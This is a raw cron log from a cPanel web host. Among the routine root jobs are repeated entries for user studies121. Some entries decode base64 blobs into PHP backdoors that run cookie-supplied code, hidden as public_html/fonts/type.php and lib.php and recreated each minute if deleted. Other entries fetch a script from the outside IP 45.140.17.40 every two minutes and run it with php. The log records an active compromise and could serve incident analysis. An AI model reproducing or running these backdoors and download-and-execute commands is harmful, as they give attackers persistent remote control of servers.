Sep  4 00:43:01 ip-184-168-122-23 CROND[23923]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 00:43:01 ip-184-168-122-23 CROND[23925]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 00:43:01 ip-184-168-122-23 CROND[23927]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 00:43:01 ip-184-168-122-23 CROND[23929]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 00:44:01 ip-184-168-122-23 CROND[24043]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  4 00:44:01 ip-184-168-122-23 CROND[24046]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 00:44:01 ip-184-168-122-23 CROND[24048]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 00:44:01 ip-184-168-122-23 CROND[24050]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 00:44:01 ip-184-168-122-23 CROND[24052]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 00:45:01 ip-184-168-122-23 CROND[24134]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 00:45:01 ip-184-168-122-23 CROND[24136]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 00:45:01 ip-184-168-122-23 CROND[24140]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  4 00:45:01 ip-184-168-122-23 CROND[24138]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/scripts/update_mailman_cache && /usr/local/cpanel/scripts/update_mailman_cache)
Sep  4 00:45:01 ip-184-168-122-23 CROND[24141]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 00:45:01 ip-184-168-122-23 CROND[24139]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  4 00:45:01 ip-184-168-122-23 CROND[24137]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 00:46:01 ip-184-168-122-23 CROND[24261]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 00:46:01 ip-184-168-122-23 CROND[24263]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  4 00:46:01 ip-184-168-122-23 CROND[24264]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 00:46:01 ip-184-168-122-23 CROND[24266]: (root) CMD (/usr/local/cpanel/scripts/upcp --security)
Sep  4 00:46:01 ip-184-168-122-23 CROND[24268]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  4 00:46:01 ip-184-168-122-23 CROND[24265]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 00:46:01 ip-184-168-122-23 CROND[24267]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 00:47:01 ip-184-168-122-23 CROND[24364]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 00:47:01 ip-184-168-122-23 CROND[24366]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 00:47:01 ip-184-168-122-23 CROND[24367]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 00:47:01 ip-184-168-122-23 CROND[24365]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 00:48:01 ip-184-168-122-23 CROND[24532]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  4 00:48:01 ip-184-168-122-23 CROND[24534]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 00:48:01 ip-184-168-122-23 CROND[24535]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 00:48:01 ip-184-168-122-23 CROND[24536]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 00:48:01 ip-184-168-122-23 CROND[24537]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 00:49:01 ip-184-168-122-23 CROND[24618]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 00:49:01 ip-184-168-122-23 CROND[24619]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 00:49:01 ip-184-168-122-23 CROND[24621]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 00:49:01 ip-184-168-122-23 CROND[24623]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 00:50:01 ip-184-168-122-23 CROND[24704]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  4 00:50:01 ip-184-168-122-23 CROND[24705]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  4 00:50:01 ip-184-168-122-23 CROND[24708]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 00:50:01 ip-184-168-122-23 CROND[24709]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  4 00:50:01 ip-184-168-122-23 CROND[24714]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 00:50:01 ip-184-168-122-23 CROND[24713]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  4 00:50:01 ip-184-168-122-23 CROND[24717]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  4 00:50:01 ip-184-168-122-23 CROND[24716]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 00:50:01 ip-184-168-122-23 CROND[24718]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 00:51:01 ip-184-168-122-23 CROND[24807]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 00:51:01 ip-184-168-122-23 CROND[24809]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 00:51:01 ip-184-168-122-23 CROND[24810]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 00:51:01 ip-184-168-122-23 CROND[24808]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 00:52:01 ip-184-168-122-23 CROND[24890]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 00:52:01 ip-184-168-122-23 CROND[24891]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  4 00:52:01 ip-184-168-122-23 CROND[24893]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 00:52:01 ip-184-168-122-23 CROND[24895]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 00:52:01 ip-184-168-122-23 CROND[24898]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 00:53:01 ip-184-168-122-23 CROND[25076]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 00:53:01 ip-184-168-122-23 CROND[25078]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 00:53:01 ip-184-168-122-23 CROND[25080]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 00:53:01 ip-184-168-122-23 CROND[25079]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 00:54:01 ip-184-168-122-23 CROND[25164]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 00:54:01 ip-184-168-122-23 CROND[25166]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  4 00:54:01 ip-184-168-122-23 CROND[25169]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 00:54:01 ip-184-168-122-23 CROND[25168]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 00:54:01 ip-184-168-122-23 CROND[25167]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
